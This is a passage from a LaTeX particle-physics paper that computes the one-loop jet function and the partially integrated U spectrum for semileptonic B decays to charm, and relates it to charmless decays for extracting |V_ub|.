and the matrix element defining the shape function
is the same as in charmless decays. For this
reason, we can write our result in the form (\ref{eq:fact2}).
\subsection{One-loop jet function}
\begin{figure}[!t]
\begin{center}
\includegraphics[width=1\textwidth]{figure.ps}
\parbox{0.94\textwidth}{
\caption{\label{fig:correlator} \small
The one-loop SCET graphs contributing
to the current correlator. Mirror graphs are not shown. Graph (d)
shows the insertion of a counterterm from mass renormalization.}
}
\end{center}
\end{figure}
The calculation of the one-loop
jet function is conceptually identical to
that for the massless case
\cite{Bauer:2003pi,Bosch:2004th}, and we will
closely follow the treatment in \cite{Bosch:2004th}.
The jet function is the matching coefficient
between the hadronic tensor calculated in SCET and that
calculated in HQET. The relevant SCET diagrams are shown in
Fig.\ref{fig:correlator}. We calculate them
in the parton model, using
on-shell heavy quark states carrying a residual
momentum $k$ satisfying $vk=0$.
We work with dimensional regularization in
$d=4-2\epsilon$ dimensions, using the Feynman gauge.
The result for the graphs involving hard-collinear
gluon exchange, including
the counterterm from mass renormalization in the pole scheme
(\ref{eq:dmpol}),
can be written as
\begin{equation}
D_{hc}^{(1)}=\mathcal{J}_{hc}^{(1)}
\,\left[\bar h_v \, \bar\Gamma_j^\mu \, \frac{\slash{n}_-}{2}\,
\Gamma_i^\nu\,
h_v\right],
\end{equation}
where
\begin{eqnarray}
\mathcal{J}_{hc}^{(1)}& =&
\frac{C_F\alpha_s }{4\pi}\frac{i}{u'} \Bigg\{
\frac{4}{{\epsilon}^2} + \frac{3}{\epsilon} -
\frac{4}{\epsilon}\ln \left( \frac{-n_+ p\,u'}{\mu^2} \right)\nonumber \\
&+&
7 - \frac{{\pi }^2}{3} - 3\,
\ln \biggl(\frac{-n_+ p\,u'}{\mu^2} \biggr) +
2\,\ln^2 \biggl( \frac{-n_+ p \,u'}{\mu^2} \biggr)
\nonumber \\
&+ &
\frac{2\,{\pi }^2}{3}
- 4\,\text{Li}_2\biggl(1+\frac{m_p }{u'}\biggr)
\nonumber \\
&+&
\frac{m_p}{m_p + u'}
- \frac{m_p\,\left( m_p + 2\,u' \right)}
{{\left( m_p + u' \right) }^2}
\,\ln \biggl( -\frac{u'}{m_p} \biggr)
\Bigg\}.
\label{eq:Dhc}
\end{eqnarray}
Here $u^\prime = u+n_- k$, $\alpha_s\equiv\alpha_s(\mu)$,
and $m_p \equiv m_c^2/n_+ p$. We have checked that
our result (\ref{eq:Dhc}) agrees with the corresponding result
in \cite{Chay:2005ck} when expanded
in $m_c^2/p^2$ and translated to the $\overline{\rm MS}$ scheme.
The graphs involving soft gluon
exchange give
\begin{equation}
D_{s}^{(1)}=\mathcal{J}_{s}^{(1)}\,
\left[\bar h_v \, \bar\Gamma_j^\mu \, \frac{\slash{n}_-}{2}\,
\Gamma_i^\nu\,
h_v\right],
\end{equation}
where
\begin{equation}
\mathcal{J}_{s}^{(1)} =
\frac{C_F\alpha_s }{4\pi}\frac{i}{u'} \Bigg\{
-\frac{2}{\epsilon^2}+\frac{2}{\epsilon}+
\frac{4}{\epsilon}\ln\left(\frac{-{u^\prime}}{\mu}\right)-
\frac{3\pi^2}{2}-4\ln\left(\frac{-{u^\prime}}{\mu}\right)
-4\ln^2\left(\frac{-{u^\prime}}{\mu}\right)\Bigg\}.
\end{equation}
The sum of the $1/\epsilon$ poles in
$\mathcal{J}_{hc}^{(1)}+\mathcal{J}_{s}^{(1)}$ is removed
by current renormalization in SCET, which is implemented
by applying a factor of $Z_J^2$ (see \ref{eq:ZJ})
to the bare current correlator.
This renormalization factor
is related to the divergent part of the hard region of the QCD
diagrams, which was integrated out in the first
step of matching. That it cancels the $1/\epsilon$ poles from the SCET
diagrams, which are due to both hard-collinear and
soft regions, shows that we have indeed constructed the
appropriate version of SCET. Moreover,
the pole structure for each individual region is the
same as in the massless
case. It follows that the hard and shape functions
obey the same renormalization group evolution as in the
massless case, a fact which we will use when discussing
decay distributions in the next section.
We can interpret the imaginary part of the
finite pieces of the SCET diagrams
as one-loop corrections to the factorized expression
(\ref{eq:fact2}). They take the form
$J^{(0)}\otimes S_{part}^{(1)}+J^{(1)}\otimes S_{part}^{(0)}$,
where the superscript $(n)$ denotes the $n$-loop correction
to each function, and the $\otimes$ stands for a convolution.
The tree-level functions are $J^{(0)}=\delta(u-\omega)$ and
$S^{(0)}_{part}=\delta(\omega+n_- k)$. As in the massless
case, the one-loop correction to the shape function
in the parton model is related to $\mathcal{J}_{s}^{(1)}$.
To show this, we take its imaginary part,
which can be expressed in terms of
star distributions, defined as
\cite{DeFazio:1999sv}
\begin{eqnarray}
\int_{\leq 0}^M du \, F(u)\left(\frac{1}{u}\right)_*^{[m]}&=&
\int_0^M du\frac{F(u)-F(0)}{u}+F(0)\ln\biggl(\frac{M}{m}\biggr),
\end{eqnarray}
\begin{eqnarray}
\int_{\leq 0}^M du \, F(u)
\left(\frac{\ln(u/m)}{u}\right)_*^{[m]}&=&
\int_0^M du\frac{F(u)-F(0)}{u}\ln\frac{u}{m}+\frac{F(0)}{2}
\ln^2\biggl(\frac{M}{m}\biggr).
\end{eqnarray}
It is not difficult to derive the following formulas
\begin{eqnarray}\label{eq:star1}
&&-\frac{1}{\pi}{\rm Im}
\left[\ln\left(-\frac{u}{m}\right)\frac{1}{u}\right]=
\left(\frac{1}{u}\right)_*^{[m]}\nonumber \\
&&-\frac{1}{\pi}{\rm Im} \left[
\ln^2\left(-\frac{u}{m}\right)\frac{1}{u}\right]
=2\left(\frac{\ln (u/m)}{u}\right)_*^{[m]}
-\frac{\pi^2}{3}\delta(u),
\end{eqnarray}
where to take the correct branch of the logarithms we
reinstored $u\equiv u+i \epsilon$. We then obtain
\begin{eqnarray}
&&J^{(0)}\otimes S^{(1)}_{part}=S^{(1)}_{part}(u^\prime)
=\frac 1\pi \text{Im}
\biggl[i\,\mathcal{J}_{s, finite}^{(1)} \biggr] \nonumber \\
&&=-\frac{C_F \alpha_s}{4\pi}\left[\frac{\pi^2}{6}\delta(u^\prime)
+4\Star{1}{u'}{\mu}+8\Star{\ln(u'\,/\mu)}{u'}{\mu}\right],
\label{eq:Spart1}
\end{eqnarray}
which is identical to the
one-loop result calculated in HQET.
The jet function is related to the imaginary
part of the finite piece of $\mathcal{J}_{hc}^{(1)}$
\cite{Bosch:2004th}.
In particular, we have
\begin{equation}
J^{(1)}\otimes S^{(0)}_{part}=J^{(1)}(u^\prime,n_+ p)=\frac 1\pi \text{Im}
\biggl[i\,\mathcal{J}_{hc, finite}^{(1)}\biggr].
\end{equation}
Using (\ref{eq:star1}) along with
\begin{equation}
-\frac 1\pi \text{Im} \biggl[\frac{1}{u'}
\biggl[\text{Li}_2\biggl(1+\frac{m}{u'}\biggr)\biggr]\biggr]=
-\Star{\ln(u'\, /m)}{u'}{m}+\frac{1}{u'}
\, \ln\biggl(1+\frac{u'}{m}\biggr)\,\theta(u'),
\end{equation}
we find that the
jet function to $\mathcal{O}(\alpha_s)$ is given by
\begin{eqnarray}\label{eq:jet}
J(u',n_+ p)=\delta (u')&+&\frac{C_F\alpha_s }{4\pi}\biggl\{
\left( 7 - \pi^2 \right) \delta(u')
- 3 \Star{1}{u'}{\mu^2/n_+ p}
+ 4 \Star{\ln(u'\, n_+ p/\mu^2)}{u'}{\mu^2/n_+ p}\nonumber \\
&&+\biggl(\frac{u'}{(m_p+u')^2}
- \frac{4}{u'} \ln\biggl(1+\frac{u'}{m_p}\biggr)
\biggr)\,\theta (u') +\left( 1 + \frac{{2\pi }^2}{3}
\right) \,\delta(u')\nonumber \\
&&-\Star{1}{u'}{m_p} + 4\,
\Star{\ln(u'\, /m_p)}{u'}{m_p}\biggr\}.
\end{eqnarray}
The first line of (\ref{eq:jet}) reduces to the
result for the massless case in the limit
$m_c\to 0$ \cite{Bauer:2003pi,Bosch:2004th}, while
the second and third lines are unique to decay into
charm quarks, and vanish for $m_c \to 0$.
We have also compared our calculation with the one-loop OPE
result for $b \to c \ell \nu$ in
\cite{Aquila:2005hq}.\footnote{For the comparison with earlier
calculations in \cite{Trott:2004xc,Uraltsev:2004in} see the
detailed discussion in \cite{Aquila:2005hq}.}
For this purpose we re-expand the factorized expression
for the hadronic tensor (\ref{eq:fact2}) in $\alpha_s$.
Using the notation of \cite{Bosch:2004th},
the component $W_1$ of the hadronic tensor, for instance,
can be written as
\begin{eqnarray}
\frac{W_1}{2} &=& \frac{1}{n_+p}
\left[ H_{\rm 11} \, \delta(u')
+ J^{(1)}(u',n_+p) + S^{(1)}_{\rm part}(u') \right]
+ {\cal O}(\alpha_s^2) \, ,
\label{eq:W1}
\end{eqnarray}
where the soft and jet contribution are given in
(\ref{eq:Spart1}) and (\ref{eq:jet}),
and the hard contribution reads
\cite{Bosch:2004th}
\begin{eqnarray}
H_{\rm 11} &=& 1 + \frac{\alpha_s C_F}{4\pi}
\left(
-4 L^2 + 10 L - 4 \ln y - \frac{2 \ln y}{1-y} - 4 {\rm Li}_2(1-y) -
\frac{\pi^2}{6}-12 \right)
\end{eqnarray}
with $y = n_+p/m_b$ and $L= \ln \left[y m_b/\mu\right]$. This has
to be compared with the corresponding expression in
\cite{Aquila:2005hq}
\begin{eqnarray}
W_3^{\protect \cite{Aquila:2005hq}} &=&
\pi\, m_b^2 \, W_1 \, ,
\end{eqnarray}
where the result for $W_3^{\protect \cite{Aquila:2005hq}}$ has to
be expanded, using the SCET power counting
$m_c^2/m_b^2 \sim \Lambda_{\rm QCD}/m_b \ll 1$. After some tedious,
but straight-forward manipulations, we indeed find agreement with
(\ref{eq:W1}). The comparison for the remaining components $W_{4,5}$ of
the hadronic tensor is much easier because at order $\alpha_s$
they receive contributions from the hard functions only.
Therefore the limit $m_c/m_b \to 0$ in the corresponding expressions
in \cite{Aquila:2005hq} can be performed directly to
recover the results for $W_{4,5}$ from \cite{Bosch:2004th}.
\section{The partially integrated $U$ spectrum}
\label{sec:uspec}
\def\hat \omega{\hat \omega}
From the results of the previous section we can derive
any differential decay distribution. We focus here on
the $U$ spectrum, because of its relation to the
$P_+$ spectrum from charmless decays.
We pointed out in the last section that the
hard and shape functions are unaffected by the presence
of the charm-quark mass, and thus obey the same
renormalization group equations as in the charmless
case. In the remainder of the paper, we will work
with the renormalization-group
improved formulas derived in \cite{Bosch:2004th}.
After integrating over the lepton energy and neglecting higher-order
terms in $\lambda$,
the doubly differential spectrum in the variables
$u$ and $y$
is given by
\begin{equation}
\frac{1}{\Gamma_c} \, \frac{d^2\Gamma_c}{du \, dy}
=
e^{V_H(m_b,\mu_i)} \int_{-\bar \Lambda}^u d\omega \,
y^{2-a} (6 - 4 y)\,{\cal H}(y) \, J(u-\omega, m_b y,\mu_i)
\, S(\omega,\mu_i)\,,
\label{eq:theo}
\end{equation}
where $-\bar\Lambda \leq u \leq y m_b - m_c^2/y m_b$ and
$m_c/m_b \leq y \leq 1$.
Note that after resummation all of the functions
are to be evaluated at the intermediate scale
$\mu_i\sim m_c$. We have introduced
the renormalization-group factors
\begin{equation}
a = \frac{16}{25} \ln \frac{\alpha_s(\mu_i)}{\alpha_s(m_b)},
\end{equation}
and $V_H(m_b,\mu_i)$, which resum logarithms between
the hard and the jet scale.
The exact form of $V_H$
can be found in \cite{Bosch:2004th},
and the hard function ${\cal H}$
can be derived from the functions $H_{ij}$
in the same reference.
The total $b\to c$ rate to order $\alpha_s(m_b)$
in the OPE is given by \cite{Nir:1989rm}
\begin{equation}
\Gamma_c= |V_{cb}|^2\left(\frac{G_F^2 m_b^5}{192\pi^3}\right)
\left[f\left(\frac{m_c^2}{m_b^2}\right)
+ \frac{C_F\alpha_s(m_b)}{4\pi}
\left(\frac{25}{2}-2\pi^2\right) g\left(\frac{m_c^2}{m_b^2}\right)\right].
\end{equation}
At leading order in $\lambda$ we can set the phase-space
factors $f,g$ to unity, although higher-order corrections
may be important numerically, as we shall discuss
in Section \ref{sec:kincorr}.
It is useful to change from partonic to hadronic variables and
define\footnote{Notice that $\omega$
is defined with the opposite sign in \cite{Bosch:2004th},
whereas our convention for $\hat S(\hat \omega)$
coincides.}
\begin{equation}
U = u + \bar \Lambda, \qquad
\hat \omega = \omega + \bar \Lambda, \qquad
\hat S(\hat \omega) = S(\omega) \ .
\end{equation}
The relation between the hadronic momenta
$P^\mu$ and the partonic momenta $p^\mu$
is given by $n_\pm P = n_\pm p + \bar\Lambda$,
where $\bar \Lambda = M_B - m_b$.
This leads to
\begin{eqnarray}
U
&=& n_-P - \frac{m_c^2}{n_+P} + {\cal O}(\lambda^4).
\end{eqnarray}
To stay in the shape-function region, we need to restrict
the phase-space integration to values of $U \sim \lambda^2 m_b$.
In order to preserve a close correspondence with the treatment
of the $\bar B \to X_u \ell \bar\nu_\ell$ spectrum
in \cite{Bosch:2004th}, we introduce a cut $U < \Delta$,
with $\Delta$ being around 600~MeV.
The effect of this cut on the physical phase space
in the variables $P_-=n_+P$ and $P_+=n_-P$ is illustrated in
Fig.~\ref{fig:phasespace} for typical values $\Delta=0.65$~GeV
and $m_c = 1.36$~GeV.
The fraction of events with $U <\Delta$ is then given by
\begin{eqnarray}
F_c(\Delta) &= & \frac{\Gamma_c(U < \Delta)}{\Gamma_c}
\nonumber \\[0.2em]
&=&
e^{V_H}
\int_0^\Delta d\hat \omega
\int_{ \frac{m_c}{m_b}}^1 dy
\int_0^{\Delta} dU \, y^{2-a}(6-4 y)\,
{\cal H}(y) \, J(U-\hat \omega,\, y m_b)
\, \hat S(\hat \omega).
\label{eq:Fcmaster2}
\end{eqnarray}
A short calculation shows that the lower limit
of the integration over $y$ can be set to zero, up to terms of order
$(m_c/m_b)^{3-a}$.
After making this simplification, the integration
limits are identical to those in $b\to u$ decays.
In fact, the integrals over the $\alpha_s$ corrections
from the hard function ${\cal H}$ and
the first line of (\ref{eq:jet}) are identical
to the charmless case. We will give
explicit results below.
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.47\textwidth]{plots/Phase-space.eps}
\parbox{0.94\textwidth}{
\caption{\label{fig:phasespace}\small
Illustration of the shape-function region singled out by
the cut on the variable $U$. The light-grey region shows the
physical phase space $M_D^2/n_+P \leq n_-P \leq n_+P \leq M_B$.
The dark-grey part shows the shape-function region with
$\Delta=0.65$~GeV and $m_c = 1.36$~GeV.
}}
\end{center}
\end{figure}
The new terms
relevant to decay into charm quarks
are contained in the last two lines of (\ref{eq:jet}).
After integration over $U$ the result for these terms is
\begin{equation}\begin{split}
e^{V_H}\int_0^\Delta d\hat\omega \hat S(\hat\omega)
\int_{0}^1 dy\,& y^{2-a}(6-4 y)
\frac{C_F\alpha_s(\mu_i)}{4\pi}\bigg\{
\frac{2\pi^2}{3}-\ln(y\Delta_{\hat \omega} )
+2 \ln^2( y \Delta_{\hat \omega} )\\&
+\frac{1 }{1+ y \, \Delta_{\hat \omega} }
+\ln(1+ y \Delta_{\hat \omega} )+4\text{Li}_2(-y \Delta_{\hat \omega} )\bigg\},
\end{split}
\end{equation}
where $\Delta_{\hat \omega}=(\Delta-\hat \omega)m_b/m_c^2$.
The integrals over $y$ can be evaluated in terms of
the master integrals
\begin{eqnarray}
G_1(n,x) &=& \int_0^1 dy \,
\frac{y^{n}}{1+ x y}
= \frac{ {}_2 F_1(1,n+1;n+2;-x)}{n+1} , \\
G_2(n,x)&=& \int_0^1 dy \,y^{n}\ln(1+x y)=\frac{1}{n+1}
\left(\ln(1+x )-\frac{1}{n+1}\right)+ \frac{G_1(n,x)}{n+1} , \\
G_3(n,x)&=&\int_0^1 dy\,y^{n} \text{Li}_2(- x y)=
\frac{ \text{Li}_2(- x)}{n+1}+ \frac{G_2(n,x)}{n+1},
\end{eqnarray}
where the hypergeometric function $ {}_2 F_1$
has a series expansion
\begin{equation}
{}_2 F_1(a_1,a_2;a_3;z)=\sum_{k=0}^\infty
\frac{(a_1)_k\, (a_2)_k}{(a_3)_k}\frac{ z^k}{k!},
\qquad (a_i)_k=\frac{\Gamma(a_i+k)}{\Gamma(a_i)}.
\end{equation}
To express the final results in a compact way,
we introduce
\begin{eqnarray}
g_n(a,X)&=&\frac{6G_n(2-a,X)-4G_n(3-a,X)}{T(a)} \ ,
\end{eqnarray}
and make use of the functions defined in \cite{Bosch:2004th}
\begin{eqnarray}
f_2(a)&=&-\frac{30-12a + a^2}{(6-a)(4-a)(3-a)}, \qquad
f_3(a)=\frac{2(138-90a+18a^2-a^3)}{(6-a)(4-a)^2(3-a)^2},\nonumber \\
T(a)&=& \frac{2(6-a)}{(4-a)(3-a)} \ .
\end{eqnarray}
The final result can be written as $F_c=F_u+F_m$. The fraction
$F_u$ is the result for $b\to u$ decays
\begin{eqnarray}
F_u(\Delta)&=& T(a)e^{V_H(m_b,\mu_i)}
\int_0^\Delta d\hat \omega \,\hat S(\hat \omega,\mu_i)
\, f_u\left(\frac{m_b (\Delta-\hat \omega)}{\mu_i^2}\right) \ ,
\label{eq:Fu} \\[0.3em]
f_u(x) &=&
1+
\frac{C_F\alpha_s(m_b)}{4\pi}H(a) \nonumber \\
&&+\frac{C_F\alpha_s(\mu_i)}{4\pi}\left[
2\ln^2 x +
\big(4f_2(a)-3\big)\ln x
+\big(7-\pi^2-3f_2(a)+2f_3(a)\big)\right].
\nonumber
\end{eqnarray}
An expression for $H(a)$ can
be found in \cite{Bosch:2004th}.
The fraction $F_m$ is an additional piece unique to decay
into charm quarks, which vanishes when $m_c\to 0$. In the pole scheme,
it is given by
\begin{eqnarray}\label{eq:extra}
F_m(\Delta)&=&T(a) \, e^{V_H(m_b,\mu_i)}
\int_0^\Delta d\hat \omega \,\hat S(\hat \omega,\mu_i) \,
f_m\left(\frac{m_b(\Delta-\hat \omega)}{m_c^2}\right)
\ , \\[0.3em]
f_m(x) &=& \frac{C_F\alpha_s(\mu_i)}{4\pi} \bigg[
2 \ln^2 x +
\big(4 f_2(a)-1\big) \ln x
\nonumber \\
&&
+\frac{2\pi^2}{3}-f_2(a)+2 f_3(a)+
g_1(a,x)+g_2 (a,x)+
4g_3(a,x)\bigg]
\ .
\nonumber
\end{eqnarray}
From the partially integrated spectrum $F_c(\Delta)$ we can
obtain the corresponding $U$ spectrum by differentiation, which
results in
\begin{eqnarray}
\frac{1}{\Gamma_c} \frac{d\Gamma_c}{dU}
&=& T(a) \, e^{V_H(m_b,\mu_i)}
\int_0^U d\hat \omega \left( \frac{d}{d\hat \omega} \hat S(\hat \omega,\mu_i) \right)
\left[f_u\left(\frac{m_b(U-\hat \omega)}{\mu_i^2}\right)
+ f_m\left(\frac{m_b(U-\hat \omega)}{m_c^2}\right) \right]
\cr &&
\label{eq:dGammac}
\end{eqnarray}
where we have used integration by parts and $\hat S(0)=0$.
\subsection{Change of charm-mass definition}
\label{sec:change}
So far, our analysis has been performed with $m_c$
defined in the pole scheme.
The effect of changing the charm-mass definition
according to
$$
m_c \to \tilde m_c = m_c - \delta m \ ,
$$
where $\delta m \sim m_c \alpha_s(\mu_i)$, is two-fold. First, the
input value for the charm-quark mass in $F_m(\Delta)$ is changed. Since
the explicit charm-mass dependence in $F_m$ is already an ${\cal
O}(\alpha_s)$ correction, this effect is formally of
order $\alpha_s^2$.
Second, the jet function receives a perturbative correction
proportional to $\delta m$. It can be obtained from
the tree-level jet function by taking into account the appropriate
shift in the spectral variable,
\begin{eqnarray}
\delta(u-\omega)
&\simeq&
\delta\left(\tilde u - \omega\right)
- \frac{2 \tilde m_c \delta m}{n_+p} \, \delta'(\tilde u-\omega),
\end{eqnarray}
where $\tilde u = n_-p - \tilde m_c^2/n_+p$ is defined using the
new mass definition. Inserting the extra term into (\ref{eq:Fcmaster2}),
one obtains an additional contribution to $F_c(\Delta)$,
\begin{eqnarray}
F_c(\Delta) & \to &
F_c(\Delta) - e^{V_H}\int_0^\Delta d\hat \omega \int_0^1 dy
\int_0^{\Delta}dU \, y^{2-a}(6-4 y)\,
\frac{2 \tilde m_c \delta m}{y m_b} \, \delta'(U-\hat \omega) \,
\hat S(\hat \omega) \nonumber \\[0.2em]
&=& F_c(\Delta) - e^{V_H} \, T(a+1)
\, \frac{2 \tilde m_c \delta m}{m_b} \, \hat S(\Delta) \ .
\end{eqnarray}
In order to see the scheme-independence of physical observables
to a fixed order in $\alpha_s$, one has to keep in mind
that the relation between the hadronic momenta and the spectral
variable $U$ is also changed.
Therefore, the result for $F_c(\Delta)$ in two different mass schemes
should be compared at two different values of the
cut-off parameter $\Delta$,
\begin{eqnarray}
\tilde U = n_-P - \frac{\tilde m_c^2}{n_+P} \ < \ \tilde \Delta
\simeq \Delta + \frac{2 \tilde m_c \delta m}{n_+P} \ .
\end{eqnarray}
such that $\tilde F_c(\tilde \Delta)$
in the new scheme reads
\begin{eqnarray}
\tilde F_c(\tilde \Delta) &=& F_u(\tilde \Delta)
+ F_{\tilde m}(\tilde \Delta) - e^{V_H} \, T(a+1)
\, \frac{2 \tilde m_c \delta m}{m_b} \, \hat S(\tilde \Delta) \ .
\label{eq:Ftilde}
\end{eqnarray}
Expanding the upper limit $\tilde \Delta$ around $\Delta$ in the
leading-order term in $F_u(\tilde \Delta)$ and neglecting terms of
order $\alpha_s^2$, we explicitly find the scheme-independence of
our result,
\begin{eqnarray}
\tilde F_c(\tilde \Delta) &=& F_c(\Delta) + {\cal O}(\alpha_s^2) \ .
\end{eqnarray}
Still, the convergence of the perturbative series
at a given value of $\Delta$ might be rather different for
different mass definitions. In addition to the pole scheme, we will consider
two further examples, namely
\begin{itemize}
\item the potential-subtracted (PS) scheme, where \cite{Beneke:1998rk}
\begin{eqnarray}
m_c^{\rm PS}(\mu_f) &=& m_c -
\frac{C_F \alpha_s(\mu_i)}{\pi} \, \mu_f + {\cal O}(\alpha_s^2)
\end{eqnarray}
with $\mu_f \simeq 1$~GeV,
\item the $\overline{\rm MS}$ scheme, where
\begin{eqnarray}
\bar m_c(\mu_i) &=& m_c \left[
1 + \frac{C_F \alpha_s(\mu_i)}{4\pi} \left(
3 \ln \frac{m_c^2}{\mu_i^2} - 4 \right) + {\cal O}(\alpha_s^2)
\right]\ .
\end{eqnarray}
\end{itemize}
\subsection{Numerical predictions}
In this section we study the numerical predictions for $F_c(\Delta)$,
taking into account mass-scheme and shape-function dependence.
We start by summarizing the parameter values used in the subsequent analysis.
The hard scale is fixed to the $b$\/-quark mass, $m_b = 4.65$~MeV.
The default value for the intermediate (jet) scale is $\mu_i = 1.5$~GeV.
We use the PS scheme as our default mass scheme, taking
$m_c^{\rm PS}(\mu_f=1~{\rm GeV})=1.36
$~GeV.
The charm-quark pole mass is taken as $1.65$~GeV,
and the $\overline{\rm MS}$ mass at the jet scale as
$\bar m_c(\mu_i)=1.20$~GeV.
We use 2-loop running for $\alpha_s$
with $\Lambda_{\rm QCD}^{(n_f=4)}=345$~MeV, corresponding to
$\alpha_s(m_b)=0.22$ and $\alpha_s(\mu_i)=0.37$.
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.47\textwidth]{plots/Fcscheme.eps}
\ \ \ \ \
\includegraphics[width=0.47\textwidth]{plots/Fcshape.eps}
\parbox{0.94\textwidth}{
\caption{\label{fig:Fc}\small
Predictions for partially integrated spectra in
inclusive semi-leptonic $b \to c $~decays:
Left: NLO prediction for $F_c(\Delta)$ using the
the default scenario S5 \cite{Bosch:2004th} in the PS scheme
(solid line) compared to
the $\overline{\rm MS}$ scheme (long-dashed line)
and the pole scheme (short-dashed line). Also plotted is
the LO result (thick grey line).
Right: NLO prediction for $F_c(\Delta)$ using
the default scenario S5 in the PS scheme
(solid line) compared to scenarios S1, S3, S7, S9
(dashed lines).
}}
\end{center}
\end{figure}
For the numerical estimate we have to specify a model for the
shape function, which we take from \cite{Bosch:2004th}\footnote{
{
Notice that we have chopped off the radiative tail in
$\hat S(\hat\omega)$, which does not contribute for the value of
$\Delta$ that we are considering.
}
}:
\begin{eqnarray}
\hat S(\hat\omega,\mu_i) &=& \frac{1}{\Lambda}
\left[1-\frac{C_F \alpha_s(\mu_i)}{4\pi}
\left(\frac{\pi^2}{6}-1\right)\right]
\, \frac{b^b}{\Gamma(b)}
\left(\frac{\hat \omega}{\Lambda}\right)^{b-1}
\exp\left(-b \frac{\hat\omega}{\Lambda} \right) \ .
\label{eq:S5}
\end{eqnarray}
We use $\Lambda=0.685$~GeV and
$b = 2.93$ as our default (scenario ``S5'' in \cite{Bosch:2004th}).
In Fig.~\ref{fig:Fc} we compare the results
for different mass schemes and different input shape functions as
a function of the cut-off $\Delta$.
The following observations can be made:
\begin{itemize}
\item For values of $\Delta \sim 600$~MeV, the NLO
corrections are large and positive.
\item Above some critical value $\Delta_{\rm max}$, the NLO corrections
become so large that
the fraction $F_c$ exceeds 1, and
therefore our result should not be trusted anymore.
\item The critical value $\Delta_{\rm max}$
amounts to about $480$~MeV in the pole scheme, $700$~MeV
in the PS scheme, and $860$~MeV in the $\overline{\rm MS}$
scheme.
\item The model dependence from the input shape function
amounts to an uncertainty of about 25\%.
\end{itemize}
\subsection{Power corrections}
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.5\textwidth]{plots/Fcphase.eps}
\parbox{0.94\textwidth}{\caption{\label{fig:ps} \small
Effect of kinematic power corrections proportional to
$\hat S(\hat \omega)$: The curve shows the NLO prediction for
$F_c(\Delta)$ including the power corrections to the tree-level
result in (\ref{eq:ps}), normalized to the leading-power result
(\ref{eq:Fu},\ref{eq:extra}).}}
\end{center}
\end{figure}
\label{sec:kincorr}
Our NLO calculation has been restricted to leading power in the
$1/m_b$ expansion. Power corrections arise from two sources.
First, one encounters new non-perturbative structure in the form of
sub-leading shape functions.
Second, there are kinematic power corrections proportional to
$m_c^2/m_b^2 \sim \lambda^2$ and $u \sim \lambda^2 m_b$. The
phase-space integration leads to logarithms $\ln (m_c^2/m_b^2)$
which can numerically enhance some of the power-suppressed terms.\footnote{
These phase-space logarithms can be resummed using renormalization-group
techniques, see \cite{Bauer:1996ma}.}
Whereas the
estimate of sub-leading shape function effects is model dependent,
the kinematic corrections multiplying the leading-order
shape function can be calculated explicitly.
We shall do this at tree level only, where we can
use the results of \cite{Boos:2005by} to find
\begin{eqnarray}
\frac{1}{\Gamma_c} \, \frac{d\Gamma_c}{dU}
&=&
\left\{ 1 -
\frac{U-\bar\Lambda}{m_b} \left( \frac{14}{3} + \frac{m_c^2}{m_b^2}
\left(\frac{215}{6} + 3 \,
\ln\frac{m_c^2}{m_b^2} \right) \right) +
{\cal O}(u^2,\lambda^5) \right\}
\hat S(U)
\nonumber \\[0.3em] && {} + \mbox{sub-leading shape functions} \ .
\label{eq:ps}
\end{eqnarray}
The omitted terms are negligible in
the portion of phase-space we are interested in.
The numerical effect of the power corrections in (\ref{eq:ps}) is
plotted in Fig.~\ref{fig:ps}. We see that $F_c(\Delta)$ is enhanced
by about 20\% at $\Delta=0.65$~GeV. Since we cannot control the remaining
power corrections from sub-leading shape functions in a model-independent
way, we consider this number as a rough estimate for the magnitude of the
systematic uncertainties
associated with power corrections.
\section{Relating $b \to c$ and $b \to u$ decays}\label{sec:phenom}
For the extraction of the CKM parameter $|V_{ub}|$
one would like to have a shape-function-independent relation
between the $\bar B \to X_u \ell \bar\nu_{\ell}$ and
$\bar B \to X_c \ell \bar\nu_{\ell}$ decay
spectra.
In what follows we focus on a relationship between
the $P_+$ spectrum in $b\to u$ decays and the $U$ spectrum
in $b\to c$ decays.
This relation can be obtained in a similar way
as discussed for the comparison of $\bar B \to X_s \gamma$
and $\bar B \to X_u \ell \bar\nu_{\ell}$
in \cite{Lange:2005qn}. In the present case, this involves
constructing a weight function $W$ such that
\begin{equation}\label{eq:weight}
\int_0^\Delta dP_+ \,\frac{d\Gamma_u}{d P_+}=
\frac{\Gamma_u}{\Gamma_c} \int_0^\Delta dU
\,W(\Delta,U) \,\frac{d\Gamma_c}{dU}
\simeq \frac{|V_{ub}|^2}{|V_{cb}|^2} \int_0^\Delta dU
\,W(\Delta,U) \,\frac{d\Gamma_c}{dU}
,
\end{equation}
where we have used that $\Gamma_u/\Gamma_c = |V_{ub}/V_{cb}|^2$
to leading power in $\lambda$.
By measuring the partial decay rate $\Gamma_u(P_+<\Delta)$
in $b\to u$ decays, as well as the $d\Gamma_c/dU$ spectrum
in $b \to c$ decays, we can determine $|V_{ub}|$.
The theoretical input is the weight function $W$,
which we can calculate from the results in
(\ref{eq:extra},\ref{eq:Ftilde}):
\begin{eqnarray}
W(\Delta, U) &=& 1- f_m\left(\frac{m_b(\Delta - U)}{(m_c^{\rm PS})^2}\right)
+\frac{C_F\alpha_s(\mu_i)}{4\pi}
\frac{T(a+1)}{T(a)} \, \frac{8 \mu_f m_c^{\rm PS}}{m_b} \,
\delta(\Delta -U)
\nonumber \\ &&
{} + {\cal O}(\alpha_s^2) + \mbox{power corrections},
\label{eq:weightfunc}
\end{eqnarray}
in the PS scheme. We do not attempt to
include power corrections here, but must be aware
that they add a systematic uncertainty of at least
20\%.
At the moment, we do not have explicit experimental information
on the $U$~spectrum in $\bar B \to X_c\ell\bar \nu_\ell$,
so to illustrate how our method works we will have to rely on
some theoretical input. In the following subsections we
will consider two approaches: In the first we will use the
theoretical prediction (\ref{eq:dGammac}) for the $b \to c$ spectrum to
obtain the $b\to u$ spectrum from the weight-function analysis
with (\ref{eq:weightfunc}). In the second approach, we will construct a
simple toy spectrum which takes into account possible
charm-resonance effects.
\subsection{Numerical analysis using theoretical $b \to c$ spectrum}
\begin{figure}[!t]
\begin{center}
\includegraphics[width=0.45\textwidth]{plots/WeightVsDir_scheme.eps}
\parbox{0.94\textwidth}{
\caption{\label{fig:weightvsdir1}\small
Predictions for $F_u(\Delta)$ using the weight function~(\ref{eq:weightfunc})
and the theoretical $b \to c$ spectrum~(\ref{eq:dGammac}) on the basis
of the shape-function model S5 in (\ref{eq:S5}).
Solid line: PS~scheme. Long-dashed line: $\overline{\rm MS}$~scheme.
